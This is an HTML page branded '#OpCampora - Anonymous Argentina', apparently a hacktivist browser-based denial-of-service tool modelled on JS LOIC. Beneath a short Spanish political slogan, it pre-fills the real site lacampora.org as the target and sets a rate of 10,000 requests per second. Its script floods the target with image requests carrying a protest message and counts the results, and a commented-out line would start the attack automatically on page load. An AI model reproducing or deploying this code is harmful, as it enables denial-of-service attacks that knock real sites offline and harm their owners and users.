- <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
- <html xmlns="http://www.w3.org/1999/xhtml">
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
- <title>#OpCampora - Anonymous Argentina</title>
- <style type="text/css">
- body {
- background-color: #050402;
- }
- body,td,th {
- color: #FFF;
- }
- .imagenfija {
- background-image:url(http://i.imgur.com/pKfo9.jpg);
- background-repeat: no-repeat;
- background-attachment: fixed;
- background-position: center;
- }
- .imagenfija div p {
- margin-left: 5px;
- margin-right: 5px;
- text-align: center;
- font-size: 24px;
- text-shadow: #000000 -1px 1px 0.03em;
- font-family: "Trebuchet MS", Arial, Helvetica, sans-serif;
- font-weight: bold;
- }
- .s {
- color: #F00;
- text-shadow: #000000 -1px 1px 0.03em;
- }
- #texto {
- background-image:url(http://i.imgur.com/pUhiy.png);
- margin-top: 20px;
- width: 939px;
- height: 100%;
- }
- #tetan {
- background-image:url(http://i.imgur.com/pUhiy.png);
- font-family: Century Gothic;
- font-size: 9px;
- width: 939px;
- height: 100%;
- }
- </style>
- </head>
- <body class="imagenfija">
- <center><img src="http://i.imgur.com/6e7on.png" width="852" height="162" /></center>
- <center><div id="texto">
- <p>Luchamos en grupo contra una política de <span class="s">amoldamiento social</span>, no queremos ideas politicas en nuestros chicos, queremos su propia elección y no la que les impongan.</p> </div>
- <img src="http://i.imgur.com/jvjYN.png" width="939" height="32" />
- </center>
- <div id="tetan"><center>
- <div style="width:775px; padding-top:4px; float:left">
- <div id="loic" style="z-index:10; width:775px; margin-bottom:0px; height:770px;">
- <div style="margin-left:auto; margin-right:auto">
- <font color="white">
- <div style="position: relative; width: 0px; height: 100%; left:0px; top: 50px;">
- <div style="width: 490px; height: 331px; position: absolute; left: 0px; top: 0px;">
- </div>
- <div style="width: 323px; height: 73px; position: absolute; left: 50px; top: -1px;">
- <fieldset style="width: 100%; height: 100%;">
- <legend ><font color="white">Step 1. Selecciona Target:</font> </legend>
- <label>
- <input name="xD" id="targetURL" style="width: 100%;" value="http://www.lacampora.org/"/>
- </label>
- <legend></legend>
- </fieldset>
- </div>
- <div style="width: 240px; height: 100px; position: absolute; left: 430px; top: -8px;">
- <fieldset style="width: 100%; height: 100%;">
- <legend><font color="white">Step 2. Listo?</font></legend>
- <button id="fireButton" style="background-color:green; border-color: rgb(255, 255, 255); color: rgb(255, 255, 255); width: 240px; height: 70px;">Disparar! </button>
- </fieldset>
- </div>
- <div style="width: 685px; height: 110px; position: absolute; left:50px; top: 110px;">
- <fieldset style="width: 100%; height: 100%;">
- <legend><font color="white">Opcional. Opciones De Attack?</font> </legend>
- <label><span id="result_box"><span title="Requests per second">Solicitudes por segundo</span></span>: <input style="width: 40px;" id="rps" value="10000" /></label>
- <label><font color="white">Mensaje:<br />
- <input id="message" style="width: 100%;" value="Basta de adoctrinamineto social" />
- </label>
- </fieldset>
- <div style="width: 685px; height: 115px; position: absolute; left: 0px; top: 150px;">
- <fieldset style="width: 100%; height: 100%;">
- <legend><font color="white">Estado de ataque:</font></legend>
- <dl>
- <dt>Solicitudes:</dt>
- <dd class="Estilo1" id="requestedCtr">0</dd>
- <dt>Logros:</dt>
- <dd class="Estilo1" id="succeededCtr">0</dd>
- <dt>Fallidos:</dt>
- <dd class="Estilo1" id="failedCtr">0</dd>
- </dl>
- </fieldset>
- </div>
- </div>
- </div>
- </font>
- </div>
- </div>
- </div>
- </center></div>
- <script>
- (function () {
- var fireInterval;
- var isFiring = false;
- var currentTime = new Date()
- var lastSuccess = currentTime.getTime();
- var requestedCtrNode = document.getElementById("requestedCtr"),
- succeededCtrNode = document.getElementById("succeededCtr"),
- failedCtrNode = document.getElementById("failedCtr"),
- targetURLNode = document.getElementById("targetURL"),
- fireButton = document.getElementById("fireButton"),
- messageNode = document.getElementById("message"),
- rpsNode = document.getElementById("rps"),
- timeoutNode = document.getElementById("timeout");
- var targetURL = targetURLNode.value;
- targetURLNode.onchange = function () {
- targetURL = this.value;
- };
- var requestsHT = {};
- var requestedCtr = 0,
- succeededCtr = 0,
- failedCtr = 0;
- var makeHttpRequest = function () {
- if ( (currentTime.getTime()-lastSuccess) > 10000) { //Allow no more than 1000 hung requests
- return;
- } else { lastSuccess = currentTime.getTime();};
- var rID =Number(new Date());
- var img = new Image();
- img.onerror = function () { onFail(rID); };
- img.onabort = function () { onFail(rID); };
- img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
- img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
- requestsHT[rID] = img;
- onRequest(rID);
- };
- var onRequest = function (rID) {
- requestedCtr++;
- requestedCtrNode.innerHTML = requestedCtr;
- };
- var onComplete = function (rID) {
- delete requestsHT[rID];
- };
- var onFail = function (rID) {
- // failedCtr++;
- //failedCtrNode.innerHTML = failedCtr;
- succeededCtr++; //Seems like the url will always fail it it isn't an image
- succeededCtrNode.innerHTML = succeededCtr;
- delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
- };
- var onSuccess = function (rID) {
- succeededCtr++;
- succeededCtrNode.innerHTML = succeededCtr;
- delete requestsHT[rID];
- };
- fireButton.onclick = function () {
- if (isFiring) {
- clearInterval(fireInterval);
- isFiring = false;
- this.innerHTML = "Disparar Otra Vez!";
- } else {
- isFiring = true;
- this.innerHTML = "Dejar de Disparar!";
- fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
- }
- };
- function Firenew() {
- if (isFiring) {
- clearInterval(fireInterval);
- isFiring = false;
- this.innerHTML = "Disparar Otra Vez!";
- } else {
- isFiring = true;
- this.innerHTML = "Stop flooding";
- fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
- }
- };
- //para Cambiar Target;
- document.getElementById("targetURL").value = "www.lacampora.org";
- //descomentar para autodisparar al cargar la pagina;
- //Firenew();
- })();
- </script>
- </body>
- </html>